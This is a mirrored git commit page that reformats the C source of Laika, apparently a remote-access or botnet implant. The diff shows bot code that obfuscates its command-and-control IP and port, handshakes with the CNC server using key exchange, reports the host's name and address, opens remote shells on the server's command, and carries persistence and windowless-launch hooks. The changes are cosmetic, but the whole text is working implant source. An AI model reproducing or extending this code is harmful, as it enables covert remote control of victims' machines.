mirror of
https://github.com/CPunch/Laika.git
synced 2025-10-24 07:10:15 +00:00
Added .clang-format, formatted codebase
This commit is contained in:
@@ -1,19 +1,23 @@
|
||||
#include "bot.h"
|
||||
|
||||
#include "lbox.h"
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "lsodium.h"
|
||||
#include "lerror.h"
|
||||
#include "lbox.h"
|
||||
#include "bot.h"
|
||||
#include "shell.h"
|
||||
|
||||
void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||
{
|
||||
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
|
||||
uint8_t endianness = laikaS_readByte(&peer->sock);
|
||||
|
||||
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
|
||||
LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n", (endianness ? "TRUE" : "FALSE"));
|
||||
LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n",
|
||||
(endianness ? "TRUE" : "FALSE"));
|
||||
}
|
||||
|
||||
void laikaB_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
void laikaB_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||
{
|
||||
LAIKA_DEBUG("got ping from cnc!\n");
|
||||
/* stubbed */
|
||||
}
|
||||
@@ -48,17 +52,19 @@ struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
|
||||
/* clang-format on */
|
||||
|
||||
/* socket event */
|
||||
void laikaB_onPollFail(struct sLaika_socket *sock, void *uData) {
|
||||
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
void laikaB_onPollFail(struct sLaika_socket *sock, void *uData)
|
||||
{
|
||||
struct sLaika_peer *peer = (struct sLaika_peer *)sock;
|
||||
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
|
||||
|
||||
laikaS_kill(&bot->peer->sock);
|
||||
}
|
||||
|
||||
/* ==========================================[[ Bot ]]========================================== */
|
||||
|
||||
struct sLaika_bot *laikaB_newBot(void) {
|
||||
LAIKA_BOX_SKID_START(char*, cncPubKey, LAIKA_PUBKEY);
|
||||
struct sLaika_bot *laikaB_newBot(void)
|
||||
{
|
||||
LAIKA_BOX_SKID_START(char *, cncPubKey, LAIKA_PUBKEY);
|
||||
struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot));
|
||||
struct hostent *host;
|
||||
char *tempINBuf;
|
||||
@@ -66,16 +72,11 @@ struct sLaika_bot *laikaB_newBot(void) {
|
||||
int i;
|
||||
|
||||
laikaP_initPList(&bot->pList);
|
||||
bot->peer = laikaS_newPeer(
|
||||
laikaB_pktTbl,
|
||||
&bot->pList,
|
||||
laikaB_onPollFail,
|
||||
(void*)bot,
|
||||
(void*)bot
|
||||
);
|
||||
bot->peer =
|
||||
laikaS_newPeer(laikaB_pktTbl, &bot->pList, laikaB_onPollFail, (void *)bot, (void *)bot);
|
||||
|
||||
laikaT_initTaskService(&bot->tService);
|
||||
laikaT_newTask(&bot->tService, 5000, laikaB_pingTask, (void*)bot);
|
||||
laikaT_newTask(&bot->tService, 5000, laikaB_pingTask, (void *)bot);
|
||||
|
||||
/* init shells */
|
||||
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
|
||||
@@ -112,7 +113,7 @@ struct sLaika_bot *laikaB_newBot(void) {
|
||||
LAIKA_ERROR("gethostbyname() failed!\n");
|
||||
}
|
||||
|
||||
if ((tempINBuf = inet_ntoa(*((struct in_addr*)host->h_addr_list[0]))) == NULL) {
|
||||
if ((tempINBuf = inet_ntoa(*((struct in_addr *)host->h_addr_list[0]))) == NULL) {
|
||||
laikaB_freeBot(bot);
|
||||
LAIKA_ERROR("inet_ntoa() failed!\n");
|
||||
}
|
||||
@@ -123,7 +124,8 @@ struct sLaika_bot *laikaB_newBot(void) {
|
||||
return bot;
|
||||
}
|
||||
|
||||
void laikaB_freeBot(struct sLaika_bot *bot) {
|
||||
void laikaB_freeBot(struct sLaika_bot *bot)
|
||||
{
|
||||
int i;
|
||||
|
||||
/* clear shells */
|
||||
@@ -138,7 +140,8 @@ void laikaB_freeBot(struct sLaika_bot *bot) {
|
||||
laikaM_free(bot);
|
||||
}
|
||||
|
||||
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
|
||||
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port)
|
||||
{
|
||||
struct sLaika_socket *sock = &bot->peer->sock;
|
||||
|
||||
/* setup socket */
|
||||
@@ -153,17 +156,23 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
|
||||
laikaS_writeByte(sock, LAIKA_VERSION_MAJOR);
|
||||
laikaS_writeByte(sock, LAIKA_VERSION_MINOR);
|
||||
laikaS_writeByte(sock, LAIKA_OSTYPE);
|
||||
laikaS_write(sock, bot->pub, sizeof(bot->pub)); /* write public key */
|
||||
|
||||
/* write public key */
|
||||
laikaS_write(sock, bot->pub, sizeof(bot->pub));
|
||||
laikaS_write(sock, bot->peer->hostname, LAIKA_HOSTNAME_LEN);
|
||||
laikaS_write(sock, bot->peer->inet, LAIKA_INET_LEN);
|
||||
laikaS_endOutPacket(bot->peer);
|
||||
laikaS_setSecure(bot->peer, true); /* after the cnc receives our handshake, our packets will be encrypted */
|
||||
|
||||
if (crypto_kx_client_session_keys(bot->peer->inKey, bot->peer->outKey, bot->pub, bot->priv, bot->peer->peerPub) != 0)
|
||||
/* after the cnc receives our handshake, our packets will be encrypted */
|
||||
laikaS_setSecure(bot->peer, true);
|
||||
|
||||
if (crypto_kx_client_session_keys(bot->peer->inKey, bot->peer->outKey, bot->pub, bot->priv,
|
||||
bot->peer->peerPub) != 0)
|
||||
LAIKA_ERROR("failed to gen session key!\n");
|
||||
}
|
||||
|
||||
bool laikaB_poll(struct sLaika_bot *bot) {
|
||||
bool laikaB_poll(struct sLaika_bot *bot)
|
||||
{
|
||||
struct sLaika_pollEvent *evnt;
|
||||
int numEvents;
|
||||
|
||||
@@ -184,8 +193,10 @@ bool laikaB_poll(struct sLaika_bot *bot) {
|
||||
return true;
|
||||
}
|
||||
|
||||
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick,
|
||||
void *uData)
|
||||
{
|
||||
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
|
||||
|
||||
laikaS_emptyOutPacket(bot->peer, LAIKAPKT_PINGPONG);
|
||||
}
|
||||
@@ -1,26 +1,31 @@
|
||||
#include <stdio.h>
|
||||
|
||||
#include "bot.h"
|
||||
#include "lbox.h"
|
||||
#include "lconfig.h"
|
||||
#include "lerror.h"
|
||||
#include "ltask.h"
|
||||
#include "bot.h"
|
||||
#include "shell.h"
|
||||
#include "persist.h"
|
||||
#include "shell.h"
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
#ifdef _WIN32
|
||||
# ifndef DEBUG
|
||||
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow) {
|
||||
# else
|
||||
int main() {
|
||||
# endif
|
||||
#ifndef DEBUG
|
||||
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
|
||||
{
|
||||
#else
|
||||
int main() {
|
||||
int main()
|
||||
{
|
||||
#endif
|
||||
/* these boxes are really easy to dump, they're unlocked at the very start of execution and left in memory the entire time.
|
||||
not only that but they're only obfuscating the ip & port, both are things anyone would see from opening wireshark */
|
||||
LAIKA_BOX_SKID_START(char*, cncIP, LAIKA_CNC_IP);
|
||||
LAIKA_BOX_SKID_START(char*, cncPORT, LAIKA_CNC_PORT);
|
||||
#else
|
||||
int main()
|
||||
{
|
||||
#endif
|
||||
/* these boxes are really easy to dump, they're unlocked at the very start of execution and left
|
||||
in memory the entire time.
|
||||
not only that but they're only obfuscating the ip & port, both are things anyone would see
|
||||
from opening wireshark */
|
||||
LAIKA_BOX_SKID_START(char *, cncIP, LAIKA_CNC_IP);
|
||||
LAIKA_BOX_SKID_START(char *, cncPORT, LAIKA_CNC_PORT);
|
||||
struct sLaika_bot *bot;
|
||||
|
||||
#ifdef LAIKA_PERSISTENCE
|
||||
|
||||
@@ -1,24 +1,28 @@
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "bot.h"
|
||||
#include "shell.h"
|
||||
|
||||
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {
|
||||
#include "bot.h"
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id)
|
||||
{
|
||||
if (bot->activeShells++ > LAIKA_MAX_SHELLS)
|
||||
LAIKA_ERROR("Failed to allocate new shell, max shells reached!\n");
|
||||
|
||||
/* start shell task */
|
||||
if (!bot->shellTask)
|
||||
bot->shellTask = laikaT_newTask(&bot->tService, LAIKA_SHELL_TASK_DELTA, laikaB_shellTask, (void*)bot);
|
||||
bot->shellTask =
|
||||
laikaT_newTask(&bot->tService, LAIKA_SHELL_TASK_DELTA, laikaB_shellTask, (void *)bot);
|
||||
|
||||
return bot->shells[id] = laikaB_newRAWShell(bot, cols, rows, id);
|
||||
}
|
||||
|
||||
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
||||
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell)
|
||||
{
|
||||
uint32_t id = shell->id;
|
||||
|
||||
/* tell cnc shell is closed */
|
||||
@@ -39,8 +43,9 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
||||
|
||||
/* ====================================[[ Packet Handlers ]]==================================== */
|
||||
|
||||
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||
{
|
||||
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
|
||||
struct sLaika_shell *shell;
|
||||
uint32_t id;
|
||||
uint16_t cols, rows;
|
||||
@@ -61,8 +66,9 @@ void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
|
||||
}
|
||||
}
|
||||
|
||||
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||
{
|
||||
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
|
||||
struct sLaika_shell *shell;
|
||||
uint32_t id;
|
||||
|
||||
@@ -76,31 +82,34 @@ void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
|
||||
laikaB_freeShell(bot, shell);
|
||||
}
|
||||
|
||||
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||
{
|
||||
char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
|
||||
struct sLaika_shell *shell;
|
||||
uint32_t id;
|
||||
|
||||
/* read data buf */
|
||||
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
|
||||
laikaS_read(&peer->sock, buf, sz-sizeof(uint32_t));
|
||||
laikaS_read(&peer->sock, buf, sz - sizeof(uint32_t));
|
||||
|
||||
/* sanity check shell */
|
||||
if (id > LAIKA_MAX_SHELLS || !(shell = bot->shells[id]))
|
||||
LAIKA_ERROR("LAIKAPKT_SHELL_DATA requested on unopened shell!\n");
|
||||
|
||||
/* write to shell */
|
||||
laikaB_writeShell(bot, shell, buf, sz-sizeof(uint32_t));
|
||||
laikaB_writeShell(bot, shell, buf, sz - sizeof(uint32_t));
|
||||
}
|
||||
|
||||
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task,
|
||||
clock_t currTick, void *uData)
|
||||
{
|
||||
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
|
||||
struct sLaika_shell *shell;
|
||||
int i;
|
||||
|
||||
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
|
||||
if ((shell = bot->shells[i]))
|
||||
laikaB_readShell(bot, shell);
|
||||
laikaB_readShell(bot, shell);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user